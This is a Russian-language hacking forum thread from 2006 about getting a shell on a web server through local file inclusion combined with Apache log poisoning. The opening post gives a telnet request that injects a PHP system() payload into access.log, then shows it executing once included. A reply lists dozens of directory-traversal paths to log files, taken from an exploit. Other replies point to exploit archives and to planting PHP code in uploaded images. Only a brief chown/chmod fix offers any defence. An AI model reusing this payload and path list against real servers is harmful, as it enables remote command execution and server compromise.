Просмотр полной версии : Локальный include как способ получть шелл
Получение шела при локальном инклуде
Часто когда находится уязвимость локального инклуда, но паролей от базы данных нет, или есть, но к фтп не подошли, а база пускает только с localhost, дополнительные дыры в скриптах не найдены.... Казалось бы всё пропало, но если есть доступ к файлу журналов Веб-сервера access.log или error.log, можно получить шелл
Запускаем telnet localhost 80
GET <? system($cmd); ?>
Теперь в файле останется запись похожая не эту
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET <? system($cmd); ?>" 400 414
Как видите всё передалось в чистом виде.
Теперь если к основному скрипту подключить файл логов, то возможно он будет выполнен как php-код
Смотрим.. Вуаля
127.0.0.1 - - [31/Aug/2006:22:36:29 +0300] "GET
Notice: Undefined variable: cmd in \usr\local\apache\logs\access.log on line 1
Warning: system(): Cannot execute a blank command in \usr\local\apache\logs\access.log on line 1
Можем выполнять команды.
Для решения данной уязвимости, нужно разрешить просмотр конфигурационных файлов только пользователю root
chown -R root:root /usr/local/apache
chmod -R o-rwx /usr/local/apache
интересная идея.
но мне кажется, что редко где файл log обрабатывается как .php
да хоть расширение bmp будет, он его обработает как php код.
Действительно идея интересная, но как на практике она работает, хз.
max_pain89
01.09.2006, 21:06
способ стар как мир, просто мало о нем кто думает в первую очередь...
уже давно сплойты перебирают всевозможные локации логов.
http://securityreason.com/exploitalert/1100
$paths=array(
"../../../../../../../../../../../../var/log/httpd/access_log",
"../../../../../../../../../../../../var/log/httpd/error_log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../../../../../../apache/logs/error.log",
"../../../../../../apache/logs/access.log",
"../../../../../../../apache/logs/error.log",
"../../../../../../../apache/logs/access.log",
"../../../../../../../../apache/logs/error.log",
"../../../../../../../../apache/logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../../logs/error.log",
"../../../../../../logs/access.log",
"../../../../../../../logs/error.log",
"../../../../../../../logs/access.log",
"../../../../../../../../logs/error.log",
"../../../../../../../../logs/access.log",
"../../../../../../../../../../../../etc/httpd/logs/acces_log",
"../../../../../../../../../../../../etc/httpd/logs/acces.log",
"../../../../../../../../../../../../etc/httpd/logs/error_log",
"../../../../../../../../../../../../etc/httpd/logs/error.log",
"../../../../../../../../../../../../var/www/logs/access_log",
"../../../../../../../../../../../../var/www/logs/access.log",
"../../../../../../../../../../../../usr/local/apache/logs/access_log",
"../../../../../../../../../../../../usr/local/apache/logs/access.log",
"../../../../../../../../../../../../var/log/apache/access_log",
"../../../../../../../../../../../../var/log/apache/access.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/www/logs/error_log",
"../../../../../../../../../../../../var/www/logs/error.log",
"../../../../../../../../../../../../usr/local/apache/logs/error_log",
"../../../../../../../../../../../../usr/local/apache/logs/error.log",
"../../../../../../../../../../../../var/log/apache/error_log",
"../../../../../../../../../../../../var/log/apache/error.log",
"../../../../../../../../../../../../var/log/access_log",
"../../../../../../../../../../../../var/log/error_log"
);
часто есть права на чтение /etc/httpd/conf/httpd.conf или /etc/apache/conf/httpd.conf, ну или /etc/apache2/conf/httpd.conf
Парни не забываем, что если еррор лог (или акцесс) больше максимального размера (установленного в настройках пхп) то появится лишь ошибка класса warning
макс_пейн прав..взгляните на сплойты на милворме..особенно от ргод-а.Там тоже перебираюца логи, только у мя никогда не пахало(( много ждал.Почти весь массив перебирал))
Digimortal
20.09.2006, 01:18
Об этом способе получения шелла не так часто пишут, а в сплоитах он и правда время от времени встречается.
Несколько подробнее про это можно почитать, к примеру, в статье n4n0bit'а вот здесь: _http://hellknights.void.ru/articles/0x48k-phpinclandinjattacks.html
1ten0.0net1
22.09.2006, 14:35
Давно читал эту статью в papers на milworm.
P. S. 80% логи не доступны для чтения пользователю под которым запущен веб-сервер.
ну одно и тоже если мы пихнём в картинку пхп код и зальём на сервак в галлерею к примеру и через локальный инклуд експлуатируем
а если обычно запускать ну конечно же он будет обрабатываться как обычная картинка или лог файл просто
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot